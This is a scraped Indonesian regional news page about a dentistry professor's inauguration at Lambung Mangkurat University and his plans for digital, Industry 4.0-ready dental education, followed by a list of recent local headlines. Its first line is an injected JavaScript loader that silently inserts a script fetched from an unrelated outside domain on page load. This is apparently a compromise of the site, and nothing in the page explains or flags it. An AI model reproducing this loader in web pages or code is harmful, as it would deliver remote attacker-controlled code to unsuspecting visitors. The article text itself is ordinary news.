(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Rosihan Adhani Ingin Kedokteran Gigi Siap Masuki Revolusi 4.0


BANJARMASIN, Prof DR drg Rosihan Adhani S.Sos M.S telah dikukuhan sebagai guru besar Fakultas kedokteran Gigi Banjarmasin di Sidang Terbuka Senat Universitas Lambung Mangkurat (ULM) yang berlangsung di Aula Rektorat 1, Kamis (31/1).

Kepada media, Rosihan yang ditemui usai pelantikan mengatakan ingin mengaplikasikan sistem yang bisa mengikuti perkembangan revolusi 4.0 di bidangnya. Revolusi 4.0 berkaitan dengan kemajuan teknologi. Sehingga digitalisasi dalam porses belajar mengajar pun sangat mempengaruhi. “Oleh karena itu pendidikan tinggi harus merespon atau jika tidak maka akan tertinggal,” jelasnya.

Hal ini juga dikarenakan di era kiwari ini, baik mahasiswa maupun pemangku kepentingan, semua sudah terpapar dengan teknologi. Apalagi untuk ULM, pendaftaran, bayar SPP, dan nilai, semuanya sudah menggunakan akses teknologi dan internet.

Bahkan kini mereka mulai melakukan sistem ujian paperless yang berarti sistem ujian sudah mengggunakan komputer dan tidak adanya lagi kertas ujian. Apalagi ke depan akan makin banyak pelajaran dengan sistem internet sehingga proses belajar tatap muka akan semakin berkurang.

“Kita siapkan materi, mereka tinggal buka dan akses” jelas Rosihan.

Ia juga ingin menyiapkan para tenaga pengajar ikut berubah mengikut perkembangan zaman. Jangan sampai tenaga pengajar terlihat lebih terbelakang daripada para mahasiswa.

Layanan kedokteran gigi pun kini mulai mengikuti perkembangan zaman. Baik dari segi material yang menggunakan teknologi nano hingga bahan tumpatan yang berkembang dengan teknologi. Sehingga kekuatan dan bentuk dapat menyerupai bentuk asilnya.

Tidak ketinggalan selfie generation. Karena menurutnya, tren masyarakat saat ini tidak hanya sekadar untuk datang berobat dan menambal gigi. Namun juga perawatan kecantikan, implant, nutri shaving dan masih banyak lagi. Hal-hal itulah yang menurutnya harus dipertimbangkan dalam kurikulum teradapatasi.(mario)

Reporter : Mario
Editor : Chell

Desy Arfianty

Recent Posts

Dua APILL Disiapkan, Atasi Kemacetan di Panglima Batur Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menggelar ekspose pembangunan Area Traffic Control System (ATCS)… Read More

3 jam ago

Dua Bapaslon Jalur Non Partai Serahkan Syarat Dukungan ke KPU Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Detik-detik terakhir penutupan penyerahan syarat dukungan bakal pasangan calon (Bapaslon) Wali Kota… Read More

3 jam ago

Bupati Lepas TP PKK Banjar Wakil Kalsel ke Parade Budaya Nusantara

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur melepas peserta lomba Parade Budaya Nusantara, di… Read More

4 jam ago

Tak Ada Peminat Jalur Perseorangan di Pilwali Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More

5 jam ago

Kebakaran Dini Hari di Palangkaraya, Dana Hanya Bisa Selamatkan Anak Istri

KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More

8 jam ago

Amuntai Expo dan Bazar UMKM 2024 Berakhir

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More

8 jam ago

This website uses cookies.